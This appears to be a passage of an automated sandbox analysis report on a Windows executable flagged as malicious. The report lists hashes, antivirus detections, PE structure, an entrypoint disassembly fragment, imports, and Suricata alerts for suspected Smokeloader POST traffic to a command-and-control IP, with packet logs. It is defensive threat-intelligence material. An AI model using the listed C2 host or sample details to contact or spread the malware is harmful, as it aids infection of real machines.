Category:	dropped
Size (bytes):	376832
Entropy (8bit):	6.531759115195053
Encrypted:	false
SSDEEP:	6144:gQLgu6NlN0niBcbNynh3oDisWPHVz0Ws1gbBqkNj8f:gQ5690icodkifKWs2BqkN
MD5:	4BB69F9FAD0620ECB64971676B9F2CBC
SHA1:	519D65503D586D0442EA411D03E790D52B564EEE
SHA-256:	6CE6A03625C3A1E2B97D490363A3EC5BE1706EC424493D7DE2C9CAD2644C3311
SHA-512:	7168F65A3362C41B5FE7E4BDA908A0372B1061CF100B841715C854FCDA4635C0E722D37309DE71D7E16B9D94302B9A21F36353A0C1B9F02FD68FE3FE1C3BEDEA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......u@$.1!J.1!J.1!J./s.(!J./s.G!J./s..!J...1.4!J.1!K..!J./s..0!J./s.0!J./s.0!J.Rich1!J.........................PE..L.....td.............................O............@................................. .......................................X...<............................p......................................@/..@............................................text...\........................... ..`.data............`..................@....rsrc...............................@..@.reloc..2....p......................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\tcgiwaf:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.531759115195053
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	2Qvkmk7HGr.exe
File size:	376'832 bytes
MD5:	4bb69f9fad0620ecb64971676b9f2cbc
SHA1:	519d65503d586d0442ea411d03e790d52b564eee
SHA256:	6ce6a03625c3a1e2b97d490363a3ec5be1706ec424493d7de2c9cad2644c3311
SHA512:	7168f65a3362c41b5fe7e4bda908a0372b1061cf100b841715c854fcda4635c0e722d37309de71d7e16b9d94302b9a21f36353a0c1b9f02fd68fe3fe1c3bedea
SSDEEP:	6144:gQLgu6NlN0niBcbNynh3oDisWPHVz0Ws1gbBqkNj8f:gQ5690icodkifKWs2BqkN
TLSH:	B084F12239D0C072D5A756304835D7A42A3FBD325A61C55F37583B6F2E332D2AA3636B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......u@$.1!J.1!J.1!J./s..(!J./s..G!J./s...!J...1.4!J.1!K..!J./s..0!J./s..0!J./s..0!J.Rich1!J.........................PE..L.....td...

File Icon


Icon Hash:	60406e76566e5c46

Static PE Info

General

Entrypoint:	0x404fc1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x647409B6 [Mon May 29 02:11:02 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	734589f5246b662a5747f60ad9c50ca5

Entrypoint Preview

Instruction
call 00007F16BD119F23h
jmp 00007F16BD1152FEh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 004012ACh
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007F16BD11548Eh
test byte ptr [eax], 00000008h
je 00007F16BD115489h
mov dword ptr [ebp-0Ch], 01994000h
lea eax, dword ptr [ebp-0Ch]
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-1Ch]
push dword ptr [ebp-20h]
call dword ptr [004010DCh]
leave
retn 0008h
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword ptr [ebp+0Ch]
add eax, 0Ch
mov dword ptr [ebp-04h], eax
mov ebx, dword ptr fs:[00000000h]
mov eax, dword ptr [ebx]
mov dword ptr fs:[00000000h], eax
mov eax, dword ptr [ebp+08h]
mov ebx, dword ptr [ebp+0Ch]
mov ebp, dword ptr [ebp-04h]
mov esp, dword ptr [ebx-04h]
jmp eax
pop ebx
leave
retn 0008h
pop eax
pop ecx
xchg dword ptr [esp], eax
jmp eax
pop eax
pop ecx
xchg dword ptr [esp], eax
jmp eax
pop eax
pop ecx
xchg dword ptr [esp], eax
jmp eax
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov esi, dword ptr fs:[00000000h]
mov dword ptr [ebp-04h], esi
mov dword ptr [ebp-08h], 00405089h
push 00000000h
push dword ptr [ebp+0Ch]
push dword ptr [ebp-08h]
push dword ptr [ebp+08h]
call 00007F16BD12289Ah

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[C++] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4a358	0x3c	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5d000	0x9ee0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x67000	0xd04	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2f40	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1b8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x49d5c	0x49e00	eadfd2c747f20fe6ac4a71fc9841e0ba	False	0.7261394881556683	data	7.0024890042663355	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x4b000	0x1199c	0x6000	7533c829322fe243afafb774a12f4603	False	0.08304850260416667	data	0.9871638251375947	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5d000	0x9ee0	0xa000	84539bd8d34906b7b6a50500487bfccf	False	0.455322265625	data	5.178429957892636	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x67000	0x1c32	0x1e00	5c8c35ed1ab5a0d1207fbd5baa0f41b3	False	0.3671875	data	3.739122301762688	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x63d70	0x330	Device independent bitmap graphic, 48 x 96 x 1, image size 0			0.1948529411764706
RT_CURSOR	0x640a0	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.33223684210526316
RT_CURSOR	0x641f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.2953091684434968
RT_CURSOR	0x650a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.46705776173285196
RT_CURSOR	0x65948	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5361271676300579
RT_ICON	0x5d4f0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	India	0.392590618336887
RT_ICON	0x5d4f0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	Sri Lanka	0.392590618336887
RT_ICON	0x5e398	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	India	0.5496389891696751
RT_ICON	0x5e398	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	Sri Lanka	0.5496389891696751
RT_ICON	0x5ec40	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.6215437788018433
RT_ICON	0x5ec40	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.6215437788018433
RT_ICON	0x5f308	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	India	0.6596820809248555
RT_ICON	0x5f308	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	Sri Lanka	0.6596820809248555
RT_ICON	0x5f870	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	India	0.49761410788381744
RT_ICON	0x5f870	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	Sri Lanka	0.49761410788381744
RT_ICON	0x61e18	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	India	0.5173545966228893
RT_ICON	0x61e18	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	Sri Lanka	0.5173545966228893
RT_ICON	0x62ec0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	India	0.5004098360655738
RT_ICON	0x62ec0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	Sri Lanka	0.5004098360655738
RT_ICON	0x63848	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	India	0.5682624113475178
RT_ICON	0x63848	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	Sri Lanka	0.5682624113475178
RT_DIALOG	0x66148	0x58	data			0.8977272727272727
RT_STRING	0x661a0	0x57a	data	Tamil	India	0.42368045649072755
RT_STRING	0x661a0	0x57a	data	Tamil	Sri Lanka	0.42368045649072755
RT_STRING	0x66720	0x2cc	data	Tamil	India	0.473463687150838
RT_STRING	0x66720	0x2cc	data	Tamil	Sri Lanka	0.473463687150838
RT_STRING	0x669f0	0x4ea	data	Tamil	India	0.4507154213036566
RT_STRING	0x669f0	0x4ea	data	Tamil	Sri Lanka	0.4507154213036566
RT_ACCELERATOR	0x63d28	0x48	data	Tamil	India	0.8472222222222222
RT_ACCELERATOR	0x63d28	0x48	data	Tamil	Sri Lanka	0.8472222222222222
RT_GROUP_CURSOR	0x641d0	0x22	data			1.0294117647058822
RT_GROUP_CURSOR	0x65eb0	0x30	data			0.9375
RT_GROUP_ICON	0x63cb0	0x76	data	Tamil	India	0.6610169491525424
RT_GROUP_ICON	0x63cb0	0x76	data	Tamil	Sri Lanka	0.6610169491525424
RT_VERSION	0x65ee0	0x264	data			0.5359477124183006

Imports

DLL

Import

KERNEL32.dll

GetComputerNameA, TlsGetValue, GetConsoleAliasExesA, CreateProcessW, ClearCommError, InterlockedIncrement, GetCurrentProcess, SetEnvironmentVariableW, SetComputerNameW, GetTickCount, CreateNamedPipeW, EnumTimeFormatsA, CreateActCtxW, GetCurrencyFormatW, GetEnvironmentStrings, SetFileShortNameW, GetLocaleInfoW, ReadConsoleInputA, SetVolumeMountPointA, GetVersionExW, GetTimeFormatW, GetFileAttributesW, GetModuleFileNameW, GetShortPathNameA, CreateJobObjectA, LCMapStringA, VerifyVersionInfoW, InterlockedExchange, GetLogicalDriveStringsA, GetLastError, SetLastError, GetProcAddress, VirtualAlloc, DefineDosDeviceA, GlobalFree, GetTempFileNameA, LoadLibraryA, CreateSemaphoreW, InterlockedExchangeAdd, GetNumberFormatW, OpenEventA, GetCommMask, OpenJobObjectW, GetModuleFileNameA, GlobalUnWire, GetCurrentDirectoryA, GetShortPathNameW, GetDiskFreeSpaceExA, SetFileAttributesW, CommConfigDialogW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, HeapReAlloc, HeapAlloc, GetStartupInfoW, RaiseException, RtlUnwind, GetModuleHandleW, Sleep, ExitProcess, WriteFile, GetStdHandle, TerminateProcess, IsDebuggerPresent, HeapFree, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, HeapCreate, VirtualFree, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetFileType, GetStartupInfoA, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, InterlockedDecrement, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, InitializeCriticalSectionAndSpinCount, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, WideCharToMultiByte, HeapSize, GetLocaleInfoA, GetModuleHandleA, MultiByteToWideChar, LCMapStringW, GetStringTypeA, GetStringTypeW, GetConsoleCP, GetConsoleMode, FlushFileBuffers, SetFilePointer, CloseHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, SetStdHandle, CreateFileA

USER32.dll

GetAltTabInfoW

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-20T09:38:55.064900+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	55686	211.171.233.126	80	TCP
2024-10-20T09:39:16.001247+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	55718	211.171.233.126	80	TCP
2024-10-20T09:39:33.091816+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	55719	211.171.233.126	80	TCP
2024-10-20T09:39:57.293501+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	55720	211.171.233.126	80	TCP
2024-10-20T09:40:22.237445+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	54853	211.171.233.126	80	TCP
2024-10-20T09:40:43.105564+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	54854	211.171.233.126	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 20, 2024 09:38:53.863775969 CEST	55686	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:38:53.868602991 CEST	80	55686	211.171.233.126	192.168.2.4
Oct 20, 2024 09:38:53.868773937 CEST	55686	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:38:53.869266987 CEST	55686	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:38:53.869303942 CEST	55686	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:38:53.874066114 CEST	80	55686	211.171.233.126	192.168.2.4
Oct 20, 2024 09:38:53.874205112 CEST	80	55686	211.171.233.126	192.168.2.4
Oct 20, 2024 09:38:55.064829111 CEST	80	55686	211.171.233.126	192.168.2.4
Oct 20, 2024 09:38:55.064899921 CEST	55686	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:38:55.064965010 CEST	55686	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:38:55.069853067 CEST	80	55686	211.171.233.126	192.168.2.4
Oct 20, 2024 09:39:14.789788008 CEST	55718	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:39:14.794790030 CEST	80	55718	211.171.233.126	192.168.2.4
Oct 20, 2024 09:39:14.794900894 CEST	55718	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:39:14.795099974 CEST	55718	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:39:14.795286894 CEST	55718	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:39:14.799910069 CEST	80	55718	211.171.233.126	192.168.2.4
Oct 20, 2024 09:39:14.800055027 CEST	80	55718	211.171.233.126	192.168.2.4
Oct 20, 2024 09:39:16.000078917 CEST	80	55718	211.171.233.126	192.168.2.4
Oct 20, 2024 09:39:16.001246929 CEST	55718	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:39:16.001317978 CEST	55718	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:39:16.006119013 CEST	80	55718	211.171.233.126	192.168.2.4
Oct 20, 2024 09:39:31.905277014 CEST	55719	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:39:31.910216093 CEST	80	55719	211.171.233.126	192.168.2.4
Oct 20, 2024 09:39:31.911501884 CEST	55719	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:39:31.911593914 CEST	55719	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:39:31.911611080 CEST	55719	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:39:31.916490078 CEST	80	55719	211.171.233.126	192.168.2.4
Oct 20, 2024 09:39:31.916512012 CEST	80	55719	211.171.233.126	192.168.2.4
Oct 20, 2024 09:39:33.091749907 CEST	80	55719	211.171.233.126	192.168.2.4
Oct 20, 2024 09:39:33.091815948 CEST	55719	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:39:33.091866016 CEST	55719	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:39:33.096693039 CEST	80	55719	211.171.233.126	192.168.2.4
Oct 20, 2024 09:39:56.127829075 CEST	55720	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:39:56.132867098 CEST	80	55720	211.171.233.126	192.168.2.4
Oct 20, 2024 09:39:56.133037090 CEST	55720	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:39:56.133203030 CEST	55720	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:39:56.133219004 CEST	55720	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:39:56.138170958 CEST	80	55720	211.171.233.126	192.168.2.4
Oct 20, 2024 09:39:56.138183117 CEST	80	55720	211.171.233.126	192.168.2.4
Oct 20, 2024 09:39:57.289772987 CEST	80	55720	211.171.233.126	192.168.2.4
Oct 20, 2024 09:39:57.293500900 CEST	55720	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:39:57.293502092 CEST	55720	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:39:57.298705101 CEST	80	55720	211.171.233.126	192.168.2.4
Oct 20, 2024 09:40:21.071033001 CEST	54853	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:40:21.077368975 CEST	80	54853	211.171.233.126	192.168.2.4
Oct 20, 2024 09:40:21.077462912 CEST	54853	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:40:21.077653885 CEST	54853	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:40:21.077682972 CEST	54853	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:40:21.082524061 CEST	80	54853	211.171.233.126	192.168.2.4
Oct 20, 2024 09:40:21.082588911 CEST	80	54853	211.171.233.126	192.168.2.4
Oct 20, 2024 09:40:22.237370014 CEST	80	54853	211.171.233.126	192.168.2.4
Oct 20, 2024 09:40:22.237445116 CEST	54853	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:40:22.237498999 CEST	54853	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:40:22.243139029 CEST	80	54853	211.171.233.126	192.168.2.4
Oct 20, 2024 09:40:41.907824039 CEST	54854	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:40:41.912914038 CEST	80	54854	211.171.233.126	192.168.2.4
Oct 20, 2024 09:40:41.912995100 CEST	54854	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:40:41.913100004 CEST	54854	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:40:41.913130045 CEST	54854	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:40:41.917915106 CEST	80	54854	211.171.233.126	192.168.2.4
Oct 20, 2024 09:40:41.918102980 CEST	80	54854	211.171.233.126	192.168.2.4
Oct 20, 2024 09:40:43.105464935 CEST	80	54854	211.171.233.126	192.168.2.4
Oct 20, 2024 09:40:43.105564117 CEST	54854	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:40:43.106950998 CEST	54854	80	192.168.2.4	211.171.233.126
Oct 20, 2024 09:40:43.111843109 CEST	80	54854	211.171.233.126	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 20, 2024 09:37:23.464411974 CEST	63831	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:37:24.477906942 CEST	63831	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:37:25.493490934 CEST	63831	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:37:27.508902073 CEST	63831	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:37:27.701919079 CEST	53	63831	1.1.1.1	192.168.2.4
Oct 20, 2024 09:37:27.701935053 CEST	53	63831	1.1.1.1	192.168.2.4
Oct 20, 2024 09:37:27.701941013 CEST	53	63831	1.1.1.1	192.168.2.4
Oct 20, 2024 09:37:27.701946020 CEST	53	63831	1.1.1.1	192.168.2.4
Oct 20, 2024 09:37:27.705244064 CEST	54856	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:37:28.712131023 CEST	54856	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:37:29.712110996 CEST	54856	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:37:31.727678061 CEST	54856	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:37:35.727746964 CEST	54856	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:37:37.214426041 CEST	53	54856	1.1.1.1	192.168.2.4
Oct 20, 2024 09:37:37.214464903 CEST	53	54856	1.1.1.1	192.168.2.4
Oct 20, 2024 09:37:37.214497089 CEST	53	54856	1.1.1.1	192.168.2.4
Oct 20, 2024 09:37:37.214525938 CEST	53	54856	1.1.1.1	192.168.2.4
Oct 20, 2024 09:37:37.214561939 CEST	53	54856	1.1.1.1	192.168.2.4
Oct 20, 2024 09:37:37.217175007 CEST	52899	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:37:37.226423025 CEST	53	52899	1.1.1.1	192.168.2.4
Oct 20, 2024 09:37:37.228619099 CEST	59508	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:37:38.227806091 CEST	59508	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:37:38.234502077 CEST	53	59508	1.1.1.1	192.168.2.4
Oct 20, 2024 09:37:45.312041044 CEST	53	59508	1.1.1.1	192.168.2.4
Oct 20, 2024 09:38:51.331573009 CEST	51992	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:38:52.337474108 CEST	51992	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:38:53.337481976 CEST	51992	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:38:53.862907887 CEST	53	51992	1.1.1.1	192.168.2.4
Oct 20, 2024 09:38:53.862921953 CEST	53	51992	1.1.1.1	192.168.2.4
Oct 20, 2024 09:38:53.862989902 CEST	53	51992	1.1.1.1	192.168.2.4
Oct 20, 2024 09:38:55.068178892 CEST	64564	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:38:56.071932077 CEST	64564	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:38:57.081801891 CEST	64564	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:38:59.087507010 CEST	64564	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:02.967356920 CEST	53	64564	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:02.967367887 CEST	53	64564	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:02.967375994 CEST	53	64564	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:02.967389107 CEST	53	64564	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:02.972198963 CEST	60541	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:02.981376886 CEST	53	60541	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:02.985948086 CEST	50035	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:03.994590998 CEST	50035	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:05.008824110 CEST	50035	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:07.000643969 CEST	50035	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:10.781418085 CEST	53	50035	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:10.781434059 CEST	53	50035	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:10.781441927 CEST	53	50035	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:10.781451941 CEST	53	50035	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:16.004688978 CEST	56440	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:17.009521961 CEST	56440	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:18.009525061 CEST	56440	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:20.009536982 CEST	56440	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:20.848484993 CEST	53	56440	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:20.848506927 CEST	53	56440	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:20.848520041 CEST	53	56440	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:20.848531961 CEST	53	56440	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:20.864247084 CEST	51211	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:20.873393059 CEST	53	51211	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:20.882436991 CEST	54723	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:21.874319077 CEST	54723	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:22.891041994 CEST	54723	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:24.885687113 CEST	54723	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:27.918654919 CEST	53	54723	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:27.918673038 CEST	53	54723	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:27.918683052 CEST	53	54723	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:27.918694019 CEST	53	54723	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:33.099148035 CEST	53040	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:34.087735891 CEST	53040	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:35.103343964 CEST	53040	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:37.118973970 CEST	53040	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:41.121043921 CEST	53040	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:42.128823996 CEST	53	53040	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:42.128842115 CEST	53	53040	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:42.128850937 CEST	53	53040	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:42.128863096 CEST	53	53040	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:42.128931046 CEST	53	53040	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:42.144233942 CEST	51193	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:42.153511047 CEST	53	51193	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:42.158812046 CEST	62529	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:43.166395903 CEST	62529	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:44.170075893 CEST	62529	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:46.166450024 CEST	62529	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:50.182689905 CEST	62529	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:51.006125927 CEST	53	62529	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:51.006141901 CEST	53	62529	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:51.006150961 CEST	53	62529	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:51.006161928 CEST	53	62529	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:51.006165981 CEST	53	62529	1.1.1.1	192.168.2.4
Oct 20, 2024 09:39:57.297740936 CEST	52296	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:58.291162968 CEST	52296	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:39:59.306598902 CEST	52296	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:01.306811094 CEST	52296	53	192.168.2.4	1.1.1.1
Oct 20, 2024 09:40:05.261745930 CEST	53	52296	1.1.1.1	192.168.2.4
